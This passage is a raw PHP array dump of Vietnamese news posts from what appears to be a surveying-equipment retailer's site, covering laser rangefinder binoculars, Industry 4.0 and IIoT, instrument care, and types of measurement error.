vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; 